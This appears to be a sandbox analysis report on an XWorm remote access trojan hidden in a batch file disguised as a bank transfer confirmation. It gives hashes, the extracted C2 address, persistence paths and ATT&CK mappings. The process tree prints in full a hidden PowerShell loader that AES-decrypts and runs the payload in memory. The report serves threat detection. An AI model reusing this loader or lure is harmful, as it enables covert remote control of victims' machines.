xworm | 3b792e3efcd49fa078b0f81556bae6a7bf3c58db676ae82221c001297e45a1bb

General

Target

Confirmation copy for EFT#_20250228_BOA_NY_E-SWFT050AX52951MX-US.bat
Size

62KB
MD5

4e49fd9891d84a4dff53559ce3fb1e4c
SHA1

6b44eb8513213887a7cf7a21a2ef75472fb32bcf
SHA256

6036593430cc74f68abc87c13469083968dc94f011d12c50c845c1a44751e409
SHA512

feced2549a5da4ab69077b37a9cbf88824edc010cd8163025556c8c0c810b7599c1f982556bc613fa1cceee6467f2d89ad72ae467346546e4f848a4b62db2626
SSDEEP

1536:5ImZkbmEKUgXEXzICKUnFCtb4+tD3Ezpaljp228c+:5I3Hfctb4UD3EzpVBc+

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

xinclas.vmcentra.top:2829

Mutex

DX77uB6mg61Bv7eW

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2772-21-0x0000016E64200000-0x0000016E6420E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 15 IoCs

flow	pid	Process
22	2772	powershell.exe
28	2772	powershell.exe
31	2772	powershell.exe
54	2772	powershell.exe
56	2772	powershell.exe
57	2772	powershell.exe
62	2772	powershell.exe
67	2772	powershell.exe
70	2772	powershell.exe
71	2772	powershell.exe
72	2772	powershell.exe
73	2772	powershell.exe
74	2772	powershell.exe
75	2772	powershell.exe
76	2772	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2772	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_c3c73813.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_c3c73813.cmd	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2772	powershell.exe
2772	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2772	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1704 wrote to memory of 3908	1704	cmd.exe	89
PID 1704 wrote to memory of 3908	1704	cmd.exe	89
PID 3908 wrote to memory of 2772	3908	cmd.exe	91
PID 3908 wrote to memory of 2772	3908	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Confirmation copy for EFT#_20250228_BOA_NY_E-SWFT050AX52951MX-US.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Confirmation copy for EFT#_20250228_BOA_NY_E-SWFT050AX52951MX-US.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskZ2tveXQgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGdrb3l0KSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRna295dCIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRna295dCwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkZ2tveXQiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gZGl1bnooJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ2xMYlE3dHpsWjVlRE4wNlpIQzVkTVJpYXFLcnc0dTU5bGhoTTh2cDlZRGc9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0hpY09vTElUU3hiVDB6aUlXK2JOUWc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gaHV4bW4oJHBhcmFtX3Zhcil7CSR0c3ZicT1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkcXB5bHY9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkcWt0d3Q9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkdHN2YnEsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJHFrdHd0LkNvcHlUbygkcXB5bHYpOwkkcWt0d3QuRGlzcG9zZSgpOwkkdHN2YnEuRGlzcG9zZSgpOwkkcXB5bHYuRGlzcG9zZSgpOwkkcXB5bHYuVG9BcnJheSgpO31mdW5jdGlvbiB1b2dlZSgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHZycG9sPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGRrcnluPSR2cnBvbC5FbnRyeVBvaW50OwkkZGtyeW4uSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGdrb3l0OyR6b2J2aD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGdrb3l0KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbnZmIGluICR6b2J2aCkgewlpZiAoJG52Zi5TdGFydHNXaXRoKCc6OiAnKSkJewkJJHducXNhPSRudmYuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGl4bXd2PVtzdHJpbmdbXV0kd25xc2EuU3BsaXQoJ1wnKTskdXl4ZHE9aHV4bW4gKGRpdW56IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGl4bXd2WzBdKSkpOyR4eGp4aD1odXhtbiAoZGl1bnogKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkaXhtd3ZbMV0pKSk7dW9nZWUgJHV5eGRxICRudWxsO3VvZ2VlICR4eGp4aCAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2wykttw3.m0v.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
62KB

MD5
4e49fd9891d84a4dff53559ce3fb1e4c

SHA1
6b44eb8513213887a7cf7a21a2ef75472fb32bcf

SHA256
6036593430cc74f68abc87c13469083968dc94f011d12c50c845c1a44751e409

SHA512
feced2549a5da4ab69077b37a9cbf88824edc010cd8163025556c8c0c810b7599c1f982556bc613fa1cceee6467f2d89ad72ae467346546e4f848a4b62db2626

Download Submit
memory/2772-16-0x00007FFBF4000000-0x00007FFBF4AC1000-memory.dmp

Filesize
10.8MB

Download
memory/2772-13-0x00007FFBF4000000-0x00007FFBF4AC1000-memory.dmp

Filesize
10.8MB

Download
memory/2772-14-0x00007FFBF4000000-0x00007FFBF4AC1000-memory.dmp

Filesize
10.8MB

Download
memory/2772-12-0x0000016E64210000-0x0000016E64232000-memory.dmp

Filesize
136KB

Download
memory/2772-2-0x00007FFBF4003000-0x00007FFBF4005000-memory.dmp

Filesize
8KB

Download
memory/2772-17-0x00007FFBF4000000-0x00007FFBF4AC1000-memory.dmp

Filesize
10.8MB

Download
memory/2772-19-0x0000016E62150000-0x0000016E6215C000-memory.dmp

Filesize
48KB

Download
memory/2772-18-0x0000016E62140000-0x0000016E62148000-memory.dmp

Filesize
32KB

Download
memory/2772-21-0x0000016E64200000-0x0000016E6420E000-memory.dmp

Filesize
56KB

Download
memory/2772-22-0x00007FFBF4003000-0x00007FFBF4005000-memory.dmp

Filesize
8KB

Download
memory/2772-23-0x00007FFBF4000000-0x00007FFBF4AC1000-memory.dmp

Filesize
10.8MB

Download
memory/2772-24-0x00007FFBF4000000-0x00007FFBF4AC1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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